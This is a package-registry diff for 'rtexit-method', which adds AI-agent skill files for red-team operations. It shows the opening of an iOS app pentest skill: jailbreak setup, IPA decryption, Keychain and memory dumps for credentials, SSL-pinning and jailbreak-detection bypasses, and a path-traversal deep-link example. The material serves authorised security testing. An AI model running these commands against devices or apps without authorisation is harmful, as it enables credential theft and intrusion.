rtexit-method 0.1.0 → 0.1.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +9 -7
- package/packaged-assets/.agents/skills/rt-active-recon/SKILL.md +767 -0
- package/packaged-assets/.agents/skills/rt-active-recon/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-agent-breaker/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-breaker/customize.toml +76 -0
- package/packaged-assets/.agents/skills/rt-agent-commander/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-agent-commander/customize.toml +67 -0
- package/packaged-assets/.agents/skills/rt-agent-ghost/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-ghost/customize.toml +77 -0
- package/packaged-assets/.agents/skills/rt-agent-navigator/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-navigator/customize.toml +61 -0
- package/packaged-assets/.agents/skills/rt-agent-phantom/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-phantom/customize.toml +62 -0
- package/packaged-assets/.agents/skills/rt-agent-scout/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-scout/customize.toml +61 -0
- package/packaged-assets/.agents/skills/rt-agent-scribe/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-scribe/customize.toml +77 -0
- package/packaged-assets/.agents/skills/rt-attack-chain-builder/SKILL.md +476 -0
- package/packaged-assets/.agents/skills/rt-attack-chain-builder/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-attack-surface-map/SKILL.md +1209 -0
- package/packaged-assets/.agents/skills/rt-attack-surface-map/template.md +62 -0
- package/packaged-assets/.agents/skills/rt-autodoc/SKILL.md +258 -0
- package/packaged-assets/.agents/skills/rt-c2-operations/SKILL.md +1072 -0
- package/packaged-assets/.agents/skills/rt-c2-operations/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-compliance-mapper/SKILL.md +773 -0
- package/packaged-assets/.agents/skills/rt-create-sead/SKILL.md +74 -0
- package/packaged-assets/.agents/skills/rt-create-sead/template.md +89 -0
- package/packaged-assets/.agents/skills/rt-create-sead/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-credential-access/SKILL.md +756 -0
- package/packaged-assets/.agents/skills/rt-credential-hunt/SKILL.md +856 -0
- package/packaged-assets/.agents/skills/rt-credential-hunt/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-cvss-calculator/SKILL.md +542 -0
- package/packaged-assets/.agents/skills/rt-cvss-calculator/cvss4-matrix.csv +20 -0
- package/packaged-assets/.agents/skills/rt-data-exfiltration/SKILL.md +784 -0
- package/packaged-assets/.agents/skills/rt-defense-evasion/SKILL.md +987 -0
- package/packaged-assets/.agents/skills/rt-evidence-chain/SKILL.md +712 -0
- package/packaged-assets/.agents/skills/rt-evidence-chain/template.md +31 -0
- package/packaged-assets/.agents/skills/rt-executive-report/SKILL.md +718 -0
- package/packaged-assets/.agents/skills/rt-executive-report/template.md +38 -0
- package/packaged-assets/.agents/skills/rt-executive-report/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/SKILL.md +1078 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/ad-checklist.csv +12 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/SKILL.md +1329 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/masvs-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-api/SKILL.md +1547 -0
- package/packaged-assets/.agents/skills/rt-exploit-api/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-auth/SKILL.md +1949 -0
- package/packaged-assets/.agents/skills/rt-exploit-auth/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-bec/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/SKILL.md +865 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-azure/SKILL.md +1258 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-gcp/SKILL.md +981 -0
- package/packaged-assets/.agents/skills/rt-exploit-containers/SKILL.md +55 -0
- package/packaged-assets/.agents/skills/rt-exploit-databases/SKILL.md +1374 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-mac/SKILL.md +834 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-win/SKILL.md +903 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-win/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-dotnet/SKILL.md +945 -0
- package/packaged-assets/.agents/skills/rt-exploit-elasticsearch/SKILL.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-electron/SKILL.md +1023 -0
- package/packaged-assets/.agents/skills/rt-exploit-electron/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/SKILL.md +1576 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/payloads/README.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-firebase/SKILL.md +54 -0
- package/packaged-assets/.agents/skills/rt-exploit-frameworks/SKILL.md +967 -0
- package/packaged-assets/.agents/skills/rt-exploit-idor/SKILL.md +1693 -0
- package/packaged-assets/.agents/skills/rt-exploit-idor/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/SKILL.md +1860 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/payloads/sqlmap-tampers.txt +22 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-ios/SKILL.md +1214 -0
- package/packaged-assets/.agents/skills/rt-exploit-ios/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-iot/SKILL.md +91 -0
- package/packaged-assets/.agents/skills/rt-exploit-iot/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-java/SKILL.md +1009 -0
- package/packaged-assets/.agents/skills/rt-exploit-jwt/SKILL.md +1327 -0
- package/packaged-assets/.agents/skills/rt-exploit-jwt/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-mongodb/SKILL.md +67 -0
- package/packaged-assets/.agents/skills/rt-exploit-mssql/SKILL.md +52 -0
- package/packaged-assets/.agents/skills/rt-exploit-mysql/SKILL.md +53 -0
- package/packaged-assets/.agents/skills/rt-exploit-network/SKILL.md +118 -0
- package/packaged-assets/.agents/skills/rt-exploit-network/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-nodejs/SKILL.md +852 -0
- package/packaged-assets/.agents/skills/rt-exploit-osticket/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/SKILL.md +173 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/templates/README.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-php/SKILL.md +1119 -0
- package/packaged-assets/.agents/skills/rt-exploit-physical/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-exploit-physical/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-postgresql/SKILL.md +67 -0
- package/packaged-assets/.agents/skills/rt-exploit-python/SKILL.md +986 -0
- package/packaged-assets/.agents/skills/rt-exploit-redis/SKILL.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-ruby/SKILL.md +61 -0
- package/packaged-assets/.agents/skills/rt-exploit-scada/SKILL.md +1091 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/SKILL.md +1528 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/payloads.txt +23 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-vishing/SKILL.md +121 -0
- package/packaged-assets/.agents/skills/rt-exploit-vishing/scripts.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/SKILL.md +1902 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/owasp-checklist.csv +14 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-wireless/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/SKILL.md +1565 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/cves.csv +7 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/SKILL.md +1526 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/payloads.txt +18 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-finding-document/SKILL.md +687 -0
- package/packaged-assets/.agents/skills/rt-finding-document/template.md +71 -0
- package/packaged-assets/.agents/skills/rt-finding-document/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-finding-tracker/SKILL.md +216 -0
- package/packaged-assets/.agents/skills/rt-finding-tracker/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-help/SKILL.md +292 -0
- package/packaged-assets/.agents/skills/rt-help/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/SKILL.md +639 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/patterns.txt +27 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-kill-chain-map/SKILL.md +393 -0
- package/packaged-assets/.agents/skills/rt-lateral-movement/SKILL.md +1032 -0
- package/packaged-assets/.agents/skills/rt-lateral-movement/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/frameworks.csv +10 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/SKILL.md +668 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/tactics.csv +16 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-osint/SKILL.md +775 -0
- package/packaged-assets/.agents/skills/rt-osint/osint-sources.csv +12 -0
- package/packaged-assets/.agents/skills/rt-osint/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-party-mode/SKILL.md +249 -0
- package/packaged-assets/.agents/skills/rt-party-mode/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-persistence/SKILL.md +1146 -0
- package/packaged-assets/.agents/skills/rt-persistence/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-poc-writer/SKILL.md +640 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/SKILL.md +998 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/linux-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/windows-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/SKILL.md +1027 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/linux-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/win-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-remediation-roadmap/SKILL.md +665 -0
- package/packaged-assets/.agents/skills/rt-remediation-roadmap/template.md +28 -0
- package/packaged-assets/.agents/skills/rt-risk-matrix/SKILL.md +232 -0
- package/packaged-assets/.agents/skills/rt-rules-of-engagement/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-rules-of-engagement/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-scenario-c001/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c002/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-scenario-c003/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c004/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c005/SKILL.md +72 -0
- package/packaged-assets/.agents/skills/rt-scenario-d001/SKILL.md +378 -0
- package/packaged-assets/.agents/skills/rt-scenario-d002/SKILL.md +392 -0
- package/packaged-assets/.agents/skills/rt-scenario-d003/SKILL.md +522 -0
- package/packaged-assets/.agents/skills/rt-scenario-d004/SKILL.md +373 -0
- package/packaged-assets/.agents/skills/rt-scenario-d005/SKILL.md +458 -0
- package/packaged-assets/.agents/skills/rt-scenario-library/SKILL.md +292 -0
- package/packaged-assets/.agents/skills/rt-scenario-library/scenarios.csv +32 -0
- package/packaged-assets/.agents/skills/rt-scenario-m001/SKILL.md +796 -0
- package/packaged-assets/.agents/skills/rt-scenario-m002/SKILL.md +723 -0
- package/packaged-assets/.agents/skills/rt-scenario-m003/SKILL.md +463 -0
- package/packaged-assets/.agents/skills/rt-scenario-m004/SKILL.md +449 -0
- package/packaged-assets/.agents/skills/rt-scenario-m005/SKILL.md +505 -0
- package/packaged-assets/.agents/skills/rt-scenario-n001/SKILL.md +573 -0
- package/packaged-assets/.agents/skills/rt-scenario-n002/SKILL.md +112 -0
- package/packaged-assets/.agents/skills/rt-scenario-n003/SKILL.md +100 -0
- package/packaged-assets/.agents/skills/rt-scenario-n004/SKILL.md +90 -0
- package/packaged-assets/.agents/skills/rt-scenario-n005/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-w001/SKILL.md +635 -0
- package/packaged-assets/.agents/skills/rt-scenario-w002/SKILL.md +612 -0
- package/packaged-assets/.agents/skills/rt-scenario-w003/SKILL.md +449 -0
- package/packaged-assets/.agents/skills/rt-scenario-w004/SKILL.md +648 -0
- package/packaged-assets/.agents/skills/rt-scenario-w005/SKILL.md +479 -0
- package/packaged-assets/.agents/skills/rt-scenario-w006/SKILL.md +443 -0
- package/packaged-assets/.agents/skills/rt-scenario-w007/SKILL.md +494 -0
- package/packaged-assets/.agents/skills/rt-scenario-w008/SKILL.md +576 -0
- package/packaged-assets/.agents/skills/rt-scenario-w009/SKILL.md +518 -0
- package/packaged-assets/.agents/skills/rt-scenario-w010/SKILL.md +574 -0
- package/packaged-assets/.agents/skills/rt-scope-definition/SKILL.md +79 -0
- package/packaged-assets/.agents/skills/rt-scope-definition/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-shodan-recon/SKILL.md +880 -0
- package/packaged-assets/.agents/skills/rt-status/SKILL.md +64 -0
- package/packaged-assets/.agents/skills/rt-subdomain-enum/SKILL.md +906 -0
- package/packaged-assets/.agents/skills/rt-subdomain-enum/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-technical-report/SKILL.md +710 -0
- package/packaged-assets/.agents/skills/rt-technical-report/template.md +41 -0
- package/packaged-assets/.agents/skills/rt-technical-report/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-threat-model/SKILL.md +59 -0
- package/packaged-assets/.agents/skills/rt-threat-model/template.md +32 -0
- package/packaged-assets/.agents/skills/rt-threat-model/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-timeline/SKILL.md +338 -0
- package/packaged-assets/RTEXIT.md +127 -0
- package/tools/installer/commands/install.js +0 -1
- package/tools/installer/lib/asset-manifest.js +10 -5
- package/tools/installer/lib/banner.js +14 -6
- package/tools/installer/lib/copy-assets.js +5 -2
- package/tools/installer/lib/prompts.js +1 -11
- package/tools/installer/lib/write-config.js +8 -2
- /package/{_rtexit → packaged-assets/_rtexit}/config.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/config.user.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/custom/config.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/autodoc_engine.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/finding_tracker.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_config.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_customization.py +0 -0
- /package/{resources → packaged-assets/resources}/certifications.md +0 -0
- /package/{resources → packaged-assets/resources}/payloads.md +0 -0
- /package/{resources → packaged-assets/resources}/tools.md +0 -0
- /package/{resources → packaged-assets/resources}/wordlists.md +0 -0
- /package/{templates → packaged-assets/templates}/attack-chain-template.md +0 -0
- /package/{templates → packaged-assets/templates}/executive-report-template.md +0 -0
- /package/{templates → packaged-assets/templates}/executive-report.md +0 -0
- /package/{templates → packaged-assets/templates}/finding-template.md +0 -0
- /package/{templates → packaged-assets/templates}/remediation-roadmap.md +0 -0
- /package/{templates → packaged-assets/templates}/sead-template.md +0 -0
- /package/{templates → packaged-assets/templates}/technical-report.md +0 -0
|
@@ -0,0 +1,1214 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-exploit-ios
|
|
3
|
+
description: "iOS application security testing skill (OWASP MASVS full). Covers IPA extraction from jailbroken device, binary analysis with class-dump and jtool2, dynamic analysis with Frida and Objection, SSL pinning bypass, Keychain extraction, ATS (App Transport Security) misconfiguration, URL scheme exploitation (deep links), and background data leakage. Tools: frida-ios-dump, objection, class-dump, idb."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-exploit-ios — iOS Application Security Testing
|
|
7
|
+
|
|
8
|
+
## 1. Overview and When to Use
|
|
9
|
+
|
|
10
|
+
This skill covers end-to-end iOS application penetration testing aligned with OWASP MASVS (Mobile Application Security Verification Standard) and OWASP MSTG. It is used when a client's engagement scope includes iOS mobile applications distributed via the App Store, TestFlight, or enterprise MDM.
|
|
11
|
+
|
|
12
|
+
**Use this skill when:**
|
|
13
|
+
- A mobile application is in scope and runs on iOS (iPhone/iPad)
|
|
14
|
+
- The engagement requires static binary analysis of a compiled IPA
|
|
15
|
+
- Dynamic runtime manipulation is needed (hooking, tracing, patching)
|
|
16
|
+
- SSL/TLS pinning prevents traffic interception with a proxy
|
|
17
|
+
- Keychain and local data storage security must be assessed
|
|
18
|
+
- Deep link / URL scheme abuse is a threat vector
|
|
19
|
+
- The app handles sensitive data (PII, tokens, credentials, biometrics)
|
|
20
|
+
|
|
21
|
+
**Engagement types:** black-box, grey-box, white-box, red team, DAST/SAST hybrid
|
|
22
|
+
|
|
23
|
+
---
|
|
24
|
+
|
|
25
|
+
## 2. Prerequisites and Setup
|
|
26
|
+
|
|
27
|
+
### 2.1 Hardware and Device Requirements
|
|
28
|
+
|
|
29
|
+
| Requirement | Details |
|
|
30
|
+
|---|---|
|
|
31
|
+
| Jailbroken iPhone/iPad | iOS 14–17 supported via palera1n, checkra1n, or unc0ver |
|
|
32
|
+
| macOS workstation (preferred) | Required for Xcode CLI tools, ideviceinstaller, libimobiledevice |
|
|
33
|
+
| USB cable | Lightning or USB-C for device trust pairing |
|
|
34
|
+
| Wi-Fi on same subnet | Required for Frida over TCP and Burp proxy |
|
|
35
|
+
|
|
36
|
+
### 2.2 Jailbreak Setup
|
|
37
|
+
|
|
38
|
+
```bash
|
|
39
|
+
# palera1n (semi-tethered, A8–A11, iOS 15–16)
|
|
40
|
+
# Boot from Mac:
|
|
41
|
+
palera1n -l # tethered boot
|
|
42
|
+
palera1n # standard semi-tethered
|
|
43
|
+
|
|
44
|
+
# After jailbreak — install from Sileo/Cydia:
|
|
45
|
+
# - OpenSSH
|
|
46
|
+
# - Frida (from https://build.frida.re)
|
|
47
|
+
# - AppSync Unified (for IPA sideloading without signing)
|
|
48
|
+
# - com.ericasadun.utilities (optional shell tools)
|
|
49
|
+
# - Filza (file manager — useful for manual inspection)
|
|
50
|
+
```
|
|
51
|
+
|
|
52
|
+
### 2.3 Workstation Toolchain Installation
|
|
53
|
+
|
|
54
|
+
```bash
|
|
55
|
+
# Python environment
|
|
56
|
+
pip3 install frida-tools objection
|
|
57
|
+
|
|
58
|
+
# libimobiledevice (device communication)
|
|
59
|
+
brew install libimobiledevice ideviceinstaller
|
|
60
|
+
|
|
61
|
+
# class-dump (Objective-C header extraction)
|
|
62
|
+
brew install class-dump
|
|
63
|
+
# Or download binary: https://github.com/nygard/class-dump
|
|
64
|
+
|
|
65
|
+
# jtool2 (binary analysis, code signing, entitlements)
|
|
66
|
+
# Download from: http://www.newosxbook.com/tools/jtool.html
|
|
67
|
+
chmod +x jtool2 && sudo mv jtool2 /usr/local/bin/
|
|
68
|
+
|
|
69
|
+
# frida-ios-dump (IPA decryption and extraction)
|
|
70
|
+
git clone https://github.com/AloneMonkey/frida-ios-dump
|
|
71
|
+
cd frida-ios-dump && pip3 install -r requirements.txt
|
|
72
|
+
|
|
73
|
+
# idb (Meta's iOS debugging tool)
|
|
74
|
+
pip3 install idb-companion
|
|
75
|
+
brew install idb-companion
|
|
76
|
+
|
|
77
|
+
# Burp Suite Community/Pro (proxy)
|
|
78
|
+
# Download from: https://portswigger.net/burp
|
|
79
|
+
|
|
80
|
+
# Hopper Disassembler or Ghidra (optional, binary RE)
|
|
81
|
+
# Ghidra: https://ghidra-sre.org/
|
|
82
|
+
```
|
|
83
|
+
|
|
84
|
+
### 2.4 Device SSH and Frida Setup
|
|
85
|
+
|
|
86
|
+
```bash
|
|
87
|
+
# Connect device over USB and get IP
|
|
88
|
+
ideviceinfo | grep WiFiAddress
|
|
89
|
+
|
|
90
|
+
# SSH into device (default password: alpine)
|
|
91
|
+
ssh root@<device-ip>
|
|
92
|
+
# Or over USB using iproxy:
|
|
93
|
+
iproxy 2222 22 &
|
|
94
|
+
ssh root@localhost -p 2222
|
|
95
|
+
|
|
96
|
+
# Verify Frida is running on device
|
|
97
|
+
frida-ps -U # list processes over USB
|
|
98
|
+
frida-ps -H <ip> # list processes over network
|
|
99
|
+
|
|
100
|
+
# Start frida-server manually if not running
|
|
101
|
+
# On device:
|
|
102
|
+
/usr/sbin/frida-server &
|
|
103
|
+
```
|
|
104
|
+
|
|
105
|
+
### 2.5 Burp Suite Proxy Configuration
|
|
106
|
+
|
|
107
|
+
```bash
|
|
108
|
+
# On workstation — set Burp to listen on all interfaces: 0.0.0.0:8080
|
|
109
|
+
# On iOS device — Settings > Wi-Fi > (your network) > Configure Proxy > Manual
|
|
110
|
+
# Set proxy host = workstation IP, port = 8080
|
|
111
|
+
|
|
112
|
+
# Install Burp CA certificate on device:
|
|
113
|
+
# Navigate to http://burp in Safari > download .der cert
|
|
114
|
+
# Settings > General > VPN & Device Management > install profile
|
|
115
|
+
# Settings > General > About > Certificate Trust Settings > Enable full trust
|
|
116
|
+
```
|
|
117
|
+
|
|
118
|
+
---
|
|
119
|
+
|
|
120
|
+
## 3. Skill Levels
|
|
121
|
+
|
|
122
|
+
### BEGINNER — Reconnaissance and Static Triage
|
|
123
|
+
|
|
124
|
+
```bash
|
|
125
|
+
# List installed apps on device
|
|
126
|
+
frida-ps -Ua # -U = USB, -a = applications only
|
|
127
|
+
|
|
128
|
+
# Get bundle ID of target app
|
|
129
|
+
ideviceinstaller -l # list installed apps with bundle IDs
|
|
130
|
+
|
|
131
|
+
# Basic binary inspection
|
|
132
|
+
file <AppName.app>/<BinaryName>
|
|
133
|
+
otool -L <Binary> # list linked libraries
|
|
134
|
+
otool -hv <Binary> # Mach-O header info
|
|
135
|
+
|
|
136
|
+
# Check if binary has PIE, stack canary, ARC
|
|
137
|
+
otool -Iv <Binary> | grep -E "stack_chk|PIE"
|
|
138
|
+
checksec --file=<Binary> # if checksec installed
|
|
139
|
+
```
|
|
140
|
+
|
|
141
|
+
### INTERMEDIATE — Decryption, Headers, and Proxy
|
|
142
|
+
|
|
143
|
+
```bash
|
|
144
|
+
# Decrypt and dump IPA from device
|
|
145
|
+
python3 frida-ios-dump/dump.py -o dumped.ipa com.target.app
|
|
146
|
+
|
|
147
|
+
# Extract IPA and run class-dump
|
|
148
|
+
unzip dumped.ipa -d extracted_ipa
|
|
149
|
+
class-dump -H extracted_ipa/Payload/AppName.app/AppName -o headers/
|
|
150
|
+
|
|
151
|
+
# Browse headers for secrets, endpoints, auth logic
|
|
152
|
+
grep -ri "password\|secret\|token\|api_key\|http://" headers/
|
|
153
|
+
|
|
154
|
+
# Inspect Info.plist for ATS config
|
|
155
|
+
plutil -p extracted_ipa/Payload/AppName.app/Info.plist | grep -A5 NSAppTransportSecurity
|
|
156
|
+
plutil -p extracted_ipa/Payload/AppName.app/Info.plist | grep NSAllowsArbitraryLoads
|
|
157
|
+
|
|
158
|
+
# Intercept traffic through Burp
|
|
159
|
+
# Launch app with objection to verify proxy works
|
|
160
|
+
objection -g com.target.app explore
|
|
161
|
+
```
|
|
162
|
+
|
|
163
|
+
### ADVANCED — Dynamic Hooking and Keychain
|
|
164
|
+
|
|
165
|
+
```bash
|
|
166
|
+
# Objection keychain dump
|
|
167
|
+
objection -g com.target.app explore
|
|
168
|
+
ios keychain dump # dump all keychain entries
|
|
169
|
+
ios keychain dump --json # output as JSON
|
|
170
|
+
|
|
171
|
+
# File system inspection
|
|
172
|
+
ios files ls --json /
|
|
173
|
+
ios files download /var/mobile/Containers/Data/Application/<UUID>/Documents/
|
|
174
|
+
|
|
175
|
+
# SSL pinning bypass — automatic
|
|
176
|
+
ios sslpinning disable # objection built-in bypass
|
|
177
|
+
|
|
178
|
+
# Frida SSL pinning bypass script
|
|
179
|
+
frida -U -f com.target.app --codeshare "akabe1/frida-ios-ssl-kill-switch" --no-pause
|
|
180
|
+
|
|
181
|
+
# Trace all Objective-C method calls from a class
|
|
182
|
+
frida-trace -U -m "*[NetworkManager *]" com.target.app
|
|
183
|
+
|
|
184
|
+
# Hook a specific method to read arguments
|
|
185
|
+
frida -U -l hook_login.js com.target.app
|
|
186
|
+
```
|
|
187
|
+
|
|
188
|
+
### EXPERT — Custom Hooks, Deep Links, Binary Patching
|
|
189
|
+
|
|
190
|
+
```bash
|
|
191
|
+
# Custom Frida script — hook and modify return value
|
|
192
|
+
frida -U -l custom_bypass.js -f com.target.app --no-pause
|
|
193
|
+
|
|
194
|
+
# Deep link fuzzing
|
|
195
|
+
# Trigger URL scheme from another app or via xcrun:
|
|
196
|
+
xcrun simctl openurl booted "targetapp://admin?user=../../etc/passwd"
|
|
197
|
+
# On real device via Safari URL bar or Shortcuts app
|
|
198
|
+
|
|
199
|
+
# Trace deep link handler
|
|
200
|
+
frida-trace -U -m "*[AppDelegate application:openURL:options:]" com.target.app
|
|
201
|
+
frida-trace -U -m "*[SceneDelegate scene:openURLContexts:]" com.target.app
|
|
202
|
+
|
|
203
|
+
# Binary patch to disable jailbreak detection
|
|
204
|
+
# Identify check with class-dump or Hopper, patch bytes:
|
|
205
|
+
jtool2 --sign --ent entitlements.plist --inplace patched_binary
|
|
206
|
+
# Or use Frida to hook and return false:
|
|
207
|
+
# Interceptor.attach(ObjC.classes.JailbreakDetector["- isJailbroken"].implementation, ...)
|
|
208
|
+
|
|
209
|
+
# Memory dump for credential extraction
|
|
210
|
+
# Use Fridump:
|
|
211
|
+
python3 fridump3.py -u com.target.app -s
|
|
212
|
+
strings dump/* | grep -E "password|token|Bearer|eyJ"
|
|
213
|
+
```
|
|
214
|
+
|
|
215
|
+
---
|
|
216
|
+
|
|
217
|
+
## 4. Step-by-Step Numbered Workflow
|
|
218
|
+
|
|
219
|
+
### Phase 1 — Reconnaissance and App Acquisition
|
|
220
|
+
|
|
221
|
+
1. Confirm bundle ID with `frida-ps -Ua` or `ideviceinstaller -l`
|
|
222
|
+
2. Record app version, last update date, privacy policy URL from App Store listing
|
|
223
|
+
3. Download IPA via Apple Configurator 2 (paid apps) or install from TestFlight/MDM
|
|
224
|
+
4. If app is from App Store and encrypted — decrypt using `frida-ios-dump`
|
|
225
|
+
|
|
226
|
+
### Phase 2 — IPA Extraction and Static Analysis
|
|
227
|
+
|
|
228
|
+
5. Run `frida-ios-dump` against the running app on device:
|
|
229
|
+
```bash
|
|
230
|
+
python3 dump.py -o target.ipa com.target.app
|
|
231
|
+
```
|
|
232
|
+
6. Unzip IPA and locate binary inside `Payload/<App>.app/`
|
|
233
|
+
7. Run `class-dump` to extract all Objective-C headers
|
|
234
|
+
8. For Swift classes — use `nm <binary> | swift-demangle` or Hopper
|
|
235
|
+
9. Search headers and strings for hardcoded secrets:
|
|
236
|
+
```bash
|
|
237
|
+
strings <binary> | grep -Ei "api[_-]?key|secret|password|bearer|http://"
|
|
238
|
+
```
|
|
239
|
+
10. Check `Info.plist` for:
|
|
240
|
+
- `NSAllowsArbitraryLoads` (ATS disabled)
|
|
241
|
+
- `CFBundleURLTypes` (registered URL schemes)
|
|
242
|
+
- `NSLocationWhenInUseUsageDescription` and other permission strings
|
|
243
|
+
- `NSFaceIDUsageDescription` (biometric usage)
|
|
244
|
+
11. Check binary protections:
|
|
245
|
+
```bash
|
|
246
|
+
otool -Iv <binary> | grep stack_chk # stack canary
|
|
247
|
+
otool -hv <binary> | grep PIE # ASLR
|
|
248
|
+
jtool2 --sig <binary> # code signing info
|
|
249
|
+
jtool2 --ent <binary> # entitlements
|
|
250
|
+
```
|
|
251
|
+
|
|
252
|
+
### Phase 3 — Dynamic Analysis Setup
|
|
253
|
+
|
|
254
|
+
12. Start Burp Suite, configure iOS device to proxy through Burp
|
|
255
|
+
13. Install Burp CA on device and enable full trust
|
|
256
|
+
14. Launch app and browse — capture baseline traffic in Burp
|
|
257
|
+
15. Note any certificate pinning errors (connection refused, SSL handshake failure)
|
|
258
|
+
16. Attach objection to running app:
|
|
259
|
+
```bash
|
|
260
|
+
